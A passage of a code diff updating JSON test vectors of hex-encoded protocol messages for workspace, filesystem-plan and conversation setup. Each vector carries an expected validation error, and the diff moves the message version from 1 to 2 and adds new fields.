6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a383538393933343539322c226372656174696f6e4964223a226372656174696f6e5f6363636363636363222c22657870656374656446696c6573797374656d55554944223a2236363636363636362d373737372d343838382d383939392d616161616161616161616161222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a223138343436373434303733373039353531363135222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a22656e7669726f6e6d656e74222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6464646464646464227d5d2c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d7d", "error": "unknown_type" }, { @@ -397,19 +502,19 @@ { "name": "plan-protocol-2", "direction": "down", - "hex": "574d583101010000010000006e0600007b2276223a312c2274223a22706c616e222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22706c616e223a7b22636865636b4d6f6465223a226e6f726d616c222c22657874344665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226f776e6572223a7b22636f6e74726f6c6c6572496e7374616e63654964223a2263746c2d30623062306230622d306230622d346230622d386230622d3062306230623062306230622d6131623263336434222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c2272756e74696d65496d616765446967657374223a2261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162222c22776f726b6572496e7374616e63654964223a2277726b2d34343434343434342d343434342d343434342d383434342d343434343434343434343434227d2c227072696f725265706c6179223a6e756c6c2c2270726f746f636f6c56657273696f6e223a322c2272657175697265644d6f756e744f7074696f6e73223a5b226e6f696e69745f697461626c65225d2c2276697267696e5a65726f50726f76656e616e6365223a226e65772d7370617273652d6372656174696f6e222c22766f6c756d6573223a5b7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a31373137393836393138342c226372656174696f6e4964223a226372656174696f6e5f6161616161616161222c22657870656374656446696c6573797374656d55554944223a2231313131313131312d323232322d343333332d383434342d353535353535353535353535222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a2239303037313939323534373430393933222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a2264617461222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6262626262626262227d2c7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a383538393933343539322c226372656174696f6e4964223a226372656174696f6e5f6363636363636363222c22657870656374656446696c6573797374656d55554944223a2236363636363636362d373737372d343838382d383939392d616161616161616161616161222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a223138343436373434303733373039353531363135222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a22656e7669726f6e6d656e74222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6464646464646464227d5d2c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d7d", + "hex": "574d583101010000010000006e0600007b2276223a322c2274223a22706c616e222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22706c616e223a7b22636865636b4d6f6465223a226e6f726d616c222c22657874344665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226f776e6572223a7b22636f6e74726f6c6c6572496e7374616e63654964223a2263746c2d30623062306230622d306230622d346230622d386230622d3062306230623062306230622d6131623263336434222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c2272756e74696d65496d616765446967657374223a2261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162222c22776f726b6572496e7374616e63654964223a2277726b2d34343434343434342d343434342d343434342d383434342d343434343434343434343434227d2c227072696f725265706c6179223a6e756c6c2c2270726f746f636f6c56657273696f6e223a322c2272657175697265644d6f756e744f7074696f6e73223a5b226e6f696e69745f697461626c65225d2c2276697267696e5a65726f50726f76656e616e6365223a226e65772d7370617273652d6372656174696f6e222c22766f6c756d6573223a5b7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a31373137393836393138342c226372656174696f6e4964223a226372656174696f6e5f6161616161616161222c22657870656374656446696c6573797374656d55554944223a2231313131313131312d323232322d343333332d383434342d353535353535353535353535222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a2239303037313939323534373430393933222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a2264617461222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6262626262626262227d2c7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a383538393933343539322c226372656174696f6e4964223a226372656174696f6e5f6363636363636363222c22657870656374656446696c6573797374656d55554944223a2236363636363636362d373737372d343838382d383939392d616161616161616161616161222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a223138343436373434303733373039353531363135222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a22656e7669726f6e6d656e74222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6464646464646464227d5d2c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d7d", "error": "bad_field" }, { "name": "plan-unsorted-nested-keys", "direction": "down", - "hex": "574d583101010000010000006e0600007b2276223a312c2274223a22706c616e222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22706c616e223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c22636865636b4d6f6465223a226e6f726d616c222c22657874344665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226f776e6572223a7b22636f6e74726f6c6c6572496e7374616e63654964223a2263746c2d30623062306230622d306230622d346230622d386230622d3062306230623062306230622d6131623263336434222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c2272756e74696d65496d616765446967657374223a2261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162222c22776f726b6572496e7374616e63654964223a2277726b2d34343434343434342d343434342d343434342d383434342d343434343434343434343434227d2c227072696f725265706c6179223a6e756c6c2c2270726f746f636f6c56657273696f6e223a332c2272657175697265644d6f756e744f7074696f6e73223a5b226e6f696e69745f697461626c65225d2c2276697267696e5a65726f50726f76656e616e6365223a226e65772d7370617273652d6372656174696f6e222c22766f6c756d6573223a5b7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a31373137393836393138342c226372656174696f6e4964223a226372656174696f6e5f6161616161616161222c22657870656374656446696c6573797374656d55554944223a2231313131313131312d323232322d343333332d383434342d353535353535353535353535222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a2239303037313939323534373430393933222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a2264617461222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6262626262626262227d2c7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a383538393933343539322c226372656174696f6e4964223a226372656174696f6e5f6363636363636363222c22657870656374656446696c6573797374656d55554944223a2236363636363636362d373737372d343838382d383939392d616161616161616161616161222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a223138343436373434303733373039353531363135222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a22656e7669726f6e6d656e74222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6464646464646464227d5d7d7d", + "hex": "574d583101010000010000006e0600007b2276223a322c2274223a22706c616e222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22706c616e223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c22636865636b4d6f6465223a226e6f726d616c222c22657874344665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226f776e6572223a7b22636f6e74726f6c6c6572496e7374616e63654964223a2263746c2d30623062306230622d306230622d346230622d386230622d3062306230623062306230622d6131623263336434222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c2272756e74696d65496d616765446967657374223a2261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162222c22776f726b6572496e7374616e63654964223a2277726b2d34343434343434342d343434342d343434342d383434342d343434343434343434343434227d2c227072696f725265706c6179223a6e756c6c2c2270726f746f636f6c56657273696f6e223a332c2272657175697265644d6f756e744f7074696f6e73223a5b226e6f696e69745f697461626c65225d2c2276697267696e5a65726f50726f76656e616e6365223a226e65772d7370617273652d6372656174696f6e222c22766f6c756d6573223a5b7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a31373137393836393138342c226372656174696f6e4964223a226372656174696f6e5f6161616161616161222c22657870656374656446696c6573797374656d55554944223a2231313131313131312d323232322d343333332d383434342d353535353535353535353535222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a2239303037313939323534373430393933222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a2264617461222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6262626262626262227d2c7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a383538393933343539322c226372656174696f6e4964223a226372656174696f6e5f6363636363636363222c22657870656374656446696c6573797374656d55554944223a2236363636363636362d373737372d343838382d383939392d616161616161616161616161222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a223138343436373434303733373039353531363135222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a22656e7669726f6e6d656e74222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6464646464646464227d5d7d7d", "error": "malformed" }, { "name": "hello-wrong-serial", "direction": "up", - "hex": "574d583101010000010000008b0000007b2276223a312c2274223a2268656c6c6f222c226775657374426f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226461746153657269616c223a2277696e7465722d656e76222c22656e7669726f6e6d656e7453657269616c223a2277696e7465722d656e7669726f6e6d656e74227d", + "hex": "574d583101010000010000008b0000007b2276223a322c2274223a2268656c6c6f222c226775657374426f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226461746153657269616c223a2277696e7465722d656e76222c22656e7669726f6e6d656e7453657269616c223a2277696e7465722d656e7669726f6e6d656e74227d", "error": "bad_field" }, { @@ -421,409 +526,409 @@ { "name": "conversations-two-host-query-conversations", "direction": "down", - "hex": "574d58310101000001000000040b00007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303039222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303039222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a33303030302c22746f6f6c556964223a33303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303039222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303039222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d583101010000010000006d0b00007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303039222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303039222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a33303030302c22746f6f6c556964223a33303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303039222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303039222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-empty-list", "direction": "down", - "hex": "574d58310101000001000000f50000007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b5d7d", + "hex": "574d58310101000001000000060100007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b5d7d", "error": "bad_field" }, { "name": "conversations-seventeen-items", "direction": "down", - "hex": "574d58310101000001000000c31f00007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303030222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303030222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030322c22746f6f6c556964223a32303030332c22776f726b7370616365476964223a32353030322c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030342c22746f6f6c556964223a32303030352c22776f726b7370616365476964223a32353030342c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303033222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303033222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030362c22746f6f6c556964223a32303030372c22776f726b7370616365476964223a32353030362c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303034222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303034222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226